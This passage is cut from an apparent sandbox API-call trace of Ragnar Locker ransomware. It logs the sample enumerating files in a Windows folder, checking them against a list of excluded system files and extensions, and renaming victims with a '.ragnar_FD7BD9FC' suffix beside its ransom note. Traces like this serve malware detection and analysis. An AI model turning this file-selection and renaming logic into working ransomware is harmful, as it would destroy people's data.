lpString2="ntldr") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="ntuser.dat") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="ntuser.dat.log") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="ntuser.ini") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="thumbs.db") returned -1 [0069.380] lstrcmpiW (lpString1=".htm", lpString2=".db") returned 1 [0069.380] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0069.380] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0069.380] lstrcmpiW (lpString1=".htm", lpString2=".lnk") returned -1 [0069.380] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0069.380] lstrcmpiW (lpString1=".htm", lpString2=".drv") returned 1 [0069.380] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0069.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0069.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.381] CloseHandle (hObject=0xffffffff) returned 0 [0069.381] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" [0069.381] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.ragnar_FD7BD9FC" [0069.381] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.381] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0069.381] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.381] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Peacock.jpg" | out: lpString1="Peacock.jpg") returned="Peacock.jpg" [0069.381] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned=".jpg" [0069.381] lstrcmpiW (lpString1="Peacock.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="autorun.inf") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="boot.ini") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="bootfont.bin") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="bootsect.bak") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="bootmgr") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="bootmgr.efi") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="bootmgfw.efi") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="desktop.ini") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="iconcache.db") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="ntldr") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="ntuser.dat") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="ntuser.dat.log") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="ntuser.ini") returned 1 [0069.382] lstrcmpiW (lpString1="Peacock.jpg", lpString2="thumbs.db") returned -1 [0069.382] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.382] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.382] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.382] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.382] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.382] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.382] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0069.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.383] CloseHandle (hObject=0xffffffff) returned 0 [0069.383] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" [0069.383] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.ragnar_FD7BD9FC" [0069.383] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.383] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0069.383] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.383] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Pine_Lumber.jpg" | out: lpString1="Pine_Lumber.jpg") returned="Pine_Lumber.jpg" [0069.383] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned=".jpg" [0069.383] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.383] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="autorun.inf") returned 1 [0069.383] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="boot.ini") returned 1 [0069.383] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="bootfont.bin") returned 1 [0069.383] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="bootsect.bak") returned 1 [0069.383] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="bootmgr") returned 1 [0069.384] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="bootmgr.efi") returned 1 [0069.384] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="bootmgfw.efi") returned 1 [0069.384] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="desktop.ini") returned 1 [0069.384] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="iconcache.db") returned 1 [0069.384] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="ntldr") returned 1 [0069.384] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="ntuser.dat") returned 1 [0069.384] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="ntuser.dat.log") returned 1 [0069.384] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="ntuser.ini") returned 1 [0069.384] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="thumbs.db") returned -1 [0069.384] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.384] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.384] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.384] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.384] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.384] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.384] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0069.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.384] CloseHandle (hObject=0xffffffff) returned 0 [0069.384] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" [0069.384] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.ragnar_FD7BD9FC" [0069.539] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.539] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0069.539] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.539] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Pretty_Peacock.jpg" | out: lpString1="Pretty_Peacock.jpg") returned="Pretty_Peacock.jpg" [0069.539] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned=".jpg" [0069.539] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.539] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="autorun.inf") returned 1 [0069.539] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="boot.ini") returned 1 [0069.539] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="bootfont.bin") returned 1 [0069.539] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="bootsect.bak") returned 1 [0069.540] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="bootmgr") returned 1 [0069.540] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="bootmgr.efi") returned 1 [0069.540] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="bootmgfw.efi") returned 1 [0069.540] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="desktop.ini") returned 1 [0069.540] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="iconcache.db") returned 1 [0069.540] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="ntldr") returned 1 [0069.540] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="ntuser.dat") returned 1 [0069.540] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="ntuser.dat.log") returned 1 [0069.540] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="ntuser.ini") returned 1 [0069.540] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="thumbs.db") returned -1 [0069.540] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.540] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.540] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.540] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.540] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.540] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.540] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0069.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.541] CloseHandle (hObject=0xffffffff) returned 0 [0069.541] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" [0069.541] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.ragnar_FD7BD9FC" [0069.541] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.541] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0069.541] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.541] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Psychedelic.jpg" | out: lpString1="Psychedelic.jpg") returned="Psychedelic.jpg" [0069.541] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned=".jpg" [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="autorun.inf") returned 1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="boot.ini") returned 1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="bootfont.bin") returned 1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="bootsect.bak") returned 1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="bootmgr") returned 1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="bootmgr.efi") returned 1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="bootmgfw.efi") returned 1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="desktop.ini") returned 1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="iconcache.db") returned 1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="ntldr") returned 1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="ntuser.dat") returned 1 [0069.541] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="ntuser.dat.log") returned 1 [0069.542] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="ntuser.ini") returned 1 [0069.542] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="thumbs.db") returned -1 [0069.542] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.542] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.542] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.542] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.542] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.542] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.542] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg")) returned 0x20 [0069.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.544] CloseHandle (hObject=0xffffffff) returned 0 [0069.544] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" [0069.544] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.ragnar_FD7BD9FC" [0069.544] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.544] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0ff280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0069.544] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.544] lstrcpyW (in: lpString1=0x1eb63c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0069.544] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\RGNR_FD7BD9FC.txt") returned=".txt" [0069.544] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0069.544] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0069.544] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.544] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Roses.htm" | out: lpString1="Roses.htm") returned="Roses.htm" [0069.544] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned=".htm" [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="autorun.inf") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="boot.ini") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="bootfont.bin") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="bootsect.bak") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="bootmgr") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="bootmgr.efi") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="bootmgfw.efi") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="desktop.ini") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="iconcache.db") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="ntldr") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="ntuser.dat") returned 1 [0069.544] lstrcmpiW (lpString1="Roses.htm", lpString2="ntuser.dat.log") returned 1 [0069.545] lstrcmpiW (lpString1="Roses.htm", lpString2="ntuser.ini") returned 1 [0069.545] lstrcmpiW (lpString1="Roses.htm", lpString2="thumbs.db") returned -1 [0069.545] lstrcmpiW (lpString1=".htm", lpString2=".db") returned 1 [0069.545] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0069.545] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0069.545] lstrcmpiW (lpString1=".htm", lpString2=".lnk") returned -1 [0069.545] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0069.545] lstrcmpiW (lpString1=".htm", lpString2=".drv") returned 1 [0069.545] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0069.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0069.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common 